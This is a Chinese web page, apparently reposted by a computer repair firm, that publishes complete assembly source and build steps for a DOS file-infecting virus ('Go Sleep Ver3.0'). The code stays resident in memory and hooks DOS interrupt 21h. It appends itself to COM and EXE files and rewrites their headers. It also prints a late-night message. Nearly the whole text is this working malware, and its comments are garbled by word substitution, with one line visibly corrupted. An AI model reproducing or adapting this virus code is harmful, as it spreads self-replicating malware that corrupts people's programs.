设为主页 | 加入收藏 | 繁體中文

编写感染COM与EXE文件的病毒的样例程序

  ;此步伐是d由v0病毒改装晋级而来
  ;在DOS下才有一定的感染能力
  ;此步伐部分应用了32位编程
  ;制作方法如下
  ;tasm32 dv1;
  ;tlink dv1;
  ;Debug dv1.exe
  ;-n dv1.com
  ;-w
  ;-q
  ;最后生成dv1.com病毒步伐
  OFF equ Offset
  DosMcb Struc ;Dos内存控制链结构(部分)
  Flag db ? ;是"M"则不是最后一块;是 "Z"则是最后一块
  Owner dw ? ;是008: 则是系统全部;是0则为未利用内存块
  Sizes dw ? ;本块巨细,按节盘算(1节=10h字节)
  DosMcb Ends
  ExeHeader Struc ;Exe文件头结构
  Flags dw "ZM";Exe文件标志
  ModSize dw ? ;Exe文件最后一页字节数
  Pages dw ? ;Exe文件页数(1页为512字节)
  Reloc dw ? ;Exe文件从定位项数
  MeSize dw ? ;本文头节数
  MinMem dw ? ;该步伐所须最小内存(节)
  MaxMem dw ? ;该步伐所须最大内存(节)
  StartSs dw ? ;步伐Sp初值
  StartSp dw ? ;步伐相对Ss初值
  CheckSum dw ? ;文件头检查和
  StartIp dw ? ;步伐Ip初值
  StartCs dw ? ;步伐相对Cs初值
  RelocOff dw ? ;从定位信息偏移
  ExeHeader Ends
  VirusSize=OFF @@End-OFF @@Start ;(病毒巨细)
  VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存巨细)
  .386
  .model small
  .code
  org 100h ;按COM格式编写
  @@Start: ;病毒引导块
  pusha ;生存全部通用寄存器
  mov ax,4d4dh
  int 21h ;是否已经驻留内存(自界说停止)
  cmp ax,4d4dh
  jz short @@ExecOldApp ;否,调用安装模块
  call @@Install
  @@ExecOldApp:
  mov ah,2ch
  int 21h ;得到系统工夫
  cmp cx,22*100h+30 ;(Cmp 工夫:22:30)
  jb short @@TestFlag ;不到22:30不调用表现音讯
  call @@DisplayMsg ;调用表现块
  @@TestFlag:
  clc ;预设为Clc指令,表示是Com文件(若在感染时被改成Stc则是Exe文件)
  jc short @@IsExeApp
  @@IsComApp:
  call @@GetOldComAppCode
  OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以前往Dos
  dw 0000h ;这里为生存原COM文件头部4字节信息
  @@GetOldComAppCode:
  pop si ;得到OldAppCode的地点
  mov di,100h
  cld
  lodsd
  stosd ;规复原COM头部4字节
  popa ;规复全部通用寄器
  push word ptr 100h
  ret ;去实行原COM步伐
  @@IsExeApp:
  popa ;规复全部通用寄器
  cli ;转变货仓指针时要关闭停止
  mov sp,es ;得到Psp( Sp=PSP段址)
  add sp,10h
  SpAddData dw 0c481h;0bch是add sp,xxxx指令
  OldAppSs dw 000h ;原Exe文件Ss相对值
  mov ss,sp ;盘算出原步伐货仓并规复
  MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令
  OldAppSp dw 000h ;原Exe文件Sp值
  sti ;从新开启停止
  push ax
  mov ax,es ;得到Psp( Ax=PSP段址)
  add ax,10h
  AxAddData db 005h ;05h是add ax,xxxx指令,盘算原步伐Cs值
  OldAppCs dw 000h ;原Exe文件Cs相对值
  movzx esp,sp ;转化为32位[esp]式货仓寻址
  xchg ax,[esp] ;规复ax,而不克不及用"xchg ax,[sp]"16位不支持[sp]式货仓寻址
  PushWordData db 068h ;068h是push word ptr xxxx指令
  OldAppIp dw 000h ;原Exe文件Ip值
  retf ;去实行原Exe步伐
  @@Install:
  push ds
  push es ;生存段寄存器
  mov ax,ds
  dec ax ;得到本身的MCB结构段址,它在步伐的PSP前
  @@ContFindLastMcb:
  mov ds,ax
  cmp ds:[Flag],"Z" ;是最后一块吗?
  jz short @@FoundLastMcb
  add ax,ds:[Sizes]
  inc ax ;盘算下一个MCB 的段址=本块段址+本块巨细+1
  jmp short @@ContFindLastMcb
  @@FoundLastMcb:
  sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块巨细减去病毒所须内存巨细(节数)
  add ax,ds:[Sizes]
  inc ax ;盘算出病毒在高端RAM的地点(即在最后一块划出的空间段址)
  mov es,ax
  xor di,di
  push cs
  pop ds ;复位数据段
  call @@GetVirusBase
  @@GetVirusBase:
  pop si
  sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
  mov cx,VirusSize
  cld
  rep movsb ;把病毒搬运到高端地点
  sub ax,10h ;盘算出高端病毒的段地点(为使病毒偏移对齐,以是减去10h)
  mov ds,ax
  @@ContInstall:
  mov ax,3521h
  int 21h ;取Int 21h的停止向量,并生存
  mov ds:OldInt21Seg,es
  mov ds:OldInt21Off,bx
  lea dx,@@NewInt21
  mov ax,2521h
  int 21h ;设新的Int 21h处置惩罚步伐到@@NewInt21处
  pop es
  pop ds
  ret
  @@NewInt21: ;新Int21 h办事步伐(感染块)
  cmp ax,4d4dh
  jnz short @@NextHook
  iret ;是自界说停止,直接前往
  @@NextHook:
  cmp ah,4bh
  jz short @@MyBeCom
  cmp ah,43h
  jz short @@MyBeCom
  cmp ah,3dh
  jz short @@MyBeCom ;截获4b,43,3d号Dos功效
  @@JmpOldInt21:
  cli ; 进入Int21h前,需要关停止!
  JmpFar db 0eah ;远跳转指令jmp xxxx:xxxx
  OldInt21Off dw ?
  OldInt21Seg dw ?
  @@CallInt21: ; 模拟Int 21h指令
  pushf
  push cs
  call @@JmpOldInt21
  ret
  @@MyBeCom: ;入口参数ds:dx=以零末端的Com文件名字符串
  pusha
  push ds
  mov si,dx
  xor al,al
  @@ContFindExtName: ;找扩展名
  inc si
  cmp [si],al
  jnz short @@ContFindExtName
  mov eax,[si-4]
  or eax,20202020h ;转化为小写字母
  cmp eax,"moc." ;是.com文件吗?
  jz short @@IsComFile
  cmp eax,"exe." ;是.exe文件吗?
  jz short @@IsExeFile
  @@ExitOpt:
  pop ds
  popa
  jmp short @@JmpOldInt21
  @@IsComFile:
  mov ax,3d02h
  call @@CallInt21 ;3dh,打开COM文件
  jc short @@OptComFalse ;失败
  mov bx,ax
  push cs
  pop ds ;复位数据段
  mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示感染的是Com文件
  lea dx,OldAppCode
  mov cx,4
  mov ah,3fh
  int 21h ;读文件首部4字节
  jc short @@CloseComFile
  mov si,dx
  cmp word ptr[si],"ZM" ;是否是EXE文件(是否是Com文件不克不及仅由扩展名果断)
  jz short @@CloseComFile ;是就不感染
  cmp byte ptr[si+3],"V";是否有已感染病毒标志
  jz short @@CloseComFile ;是则说明该步伐已经被感染了
  mov ax,4202h
  xor cx,cx
  xor dx,dx
  int 21h ;将文件指针移到文件尾,前往dx:ax=文件长度
  or dx,dx
  jnz short @@CloseComFile ;文件太大不感染
  mov dx,ax
  add ax,VirusSize
  jc short @@CloseComFile ;文件太大不感染
  cmp ax,0fd00h
  ja short @@CloseComFile ;文件太大不感染
  sub dx,03 ;盘算出Jmp Virus的偏移量
  mov ds:JmpOffset,dx
  lea dx,@@Start
  mov cx,VirusSize
  mov ah,40h
  int 21h ;将病毒写到文件尾部
  mov ax,4200h
  xor cx,cx
  xor dx,dx
  int 21h ;把文件指针移到文件首
  mov cx,04h
  lea dx,@@JmpVirus
  mov ah,40h
  int 21h ;写Jmp Virus与病毒Flag 4字节到文件首部
  @@CloseComFile:
  mov ah,3eh
  int 21h ;关闭文件
  @@OptComFalse:
  jmp short @@ExitOpt
  @@IsExeFile:
  mov ax,3d02h
  call @@CallInt21 ;3dh,打开Exe文件
  jc @@OptExeFalse ;失败
  mov bx,ax
  push cs
  pop ds ;复位数据段
  mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示感染的是Exe文件
  lea dx,MyExeHeader
  mov cx,size ExeHeader
  mov ah,3fh
  int 21h ;读文件首部4字节
  jc @@CloseExeFile
  cmp ax,cx
  jb @@CloseExeFile
  mov si,dx
  cmp word ptr[si.Flags],"ZM" ;是否是EXE文件(是否是EXE文件不克不及仅由扩展名果断)
  jnz @@CloseExeFile ;不是就不感染
  cmp [si.CheckSum],"VV" ;是否有已感染病毒标志
  jz @@CloseExeFile ;是则说明该步伐已经被感染了
  mov ax,4202h
  xor cx,cx
  xor dx,dx
  int 21h ;将文件指针移到文件尾,前往dx:ax=文件长度
  cmp dx,8h
  ja short @@CloseExeFile ;文件太大,大概是Windows应用步伐
  shl edx,16
  mov dx,ax
  push edx ;生存文件巨细
  shr edx,4
  sub dx,[si.MeSize] ;盘算病毒在该Exe步伐中新的相对Cs
  and ax,0fh ;盘算病毒在该Exe步伐中新的Ip值(0=mov cx,dx ;cx=dx=新的相对Cs值
  xchg [si.StartCs],dx
  mov ds:[OldAppCs],dx ;修正相对Cs值,生存原相对Cs值
  xchg [si.StartSs],cx
  mov ds:[OldAppSs],cx ;修正相对Ss值,生存原相对Ss值
  xchg [si.StartIp],ax
  mov ds:[OldAppIp],ax ;修正Ip值,生存原Ip值
  xor ax,ax
  xchg [si.StartSp],ax ;修正Sp值,生存原Sp值
  mov ds:[OldAppSp],ax
  mov [si.CheckSum],"VV";设置感染标志
  pop edx ;弹出文件巨细
  mov ecx,VirusSize
  add edx,ecx ;盘算感染后文件的巨细
  mov ax,dx
  and ax,1ffh ;盘算感染后文件的ModSize
  mov [si.ModSize],ax
  add edx,1ffh
  shr edx,9 ;盘算感染后文件的Pages
  mov [si.Pages],dx
  lea dx,@@Start
  mov ah,40h
  int 21h ;将病毒写到文件尾部
  mov ax,4200h
  xor cx,cx
  xor dx,dx
  int 21h ;把文件指针移到文件首
  mov cx,size ExeHeader
  lea dx,MyExeHeader
  mov ah,40h
  int 21h ;写文件头到文件首部
  @@CloseExeFile:
  mov ah,3eh
  int 21h ;关闭文件
  @@OptExeFalse:
  jmp @@ExitOpt
  @@JmpVirus:
  JumpNear db 0e9h ;近转移指令Jmp near xxxx
  JmpOffset dw ?
  VirusFlag db "V" ;病毒标志为"V"字符
  @@DisplayMsg:
  pop dx
  push dx
  add dx,OFF @@Message-OFF @@TestFlag ;盘算@@Message的偏移量
  push ds
  push cs
  pop ds
  mov ah,09h
  int 21h ;表现信息,“夜已深,你该睡觉了!”
  pop ds
  ret
  @@Message:
  db 0ah,0dh,07h
  db "Night is deep,you must go sleep!"
  db 0ah,0dh,"$"
  db "Go Sleep Ver3.0 by Whg 2001.5.2"
  @@End:
  MyExeHeader db size ExeHeader dup(?)
  @@MemEnd:
  end @@Start
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: